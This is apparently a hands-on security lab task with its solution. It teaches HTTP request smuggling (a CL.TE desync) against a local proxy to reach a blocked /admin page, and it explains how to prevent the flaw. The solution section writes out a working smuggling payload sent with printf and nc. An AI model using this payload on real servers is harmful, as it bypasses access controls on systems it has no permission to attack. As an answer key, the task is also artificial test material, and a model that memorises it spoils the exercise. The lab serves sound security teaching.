Smuggle a request to /admin
The front-end proxy on 127.0.0.1:8082 blocks /admin but measures request length by Content-Length, while the back-end uses Transfer-Encoding: chunked. Exploit that CL.TE desync to smuggle a GET /admin past the front-end and capture the flag it returns, saving it under your home.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
Because the front-end counted bytes with Content-Length and the back-end read chunks with Transfer-Encoding, the tail of your body became a second request the front-end never vetted — so its /admin block was bypassed. Kill the ambiguity: reject requests carrying both headers, normalise at the front-end, and keep one consistent parser (ideally HTTP/2) end to end.
Show solution
cd /home/student
curl -s http://127.0.0.1:8082/admin
printf 'POST / HTTP/1.1\r\nHost: x\r\nContent-Length: 37\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n' | nc -w 3 127.0.0.1 8082 | tee loot.txt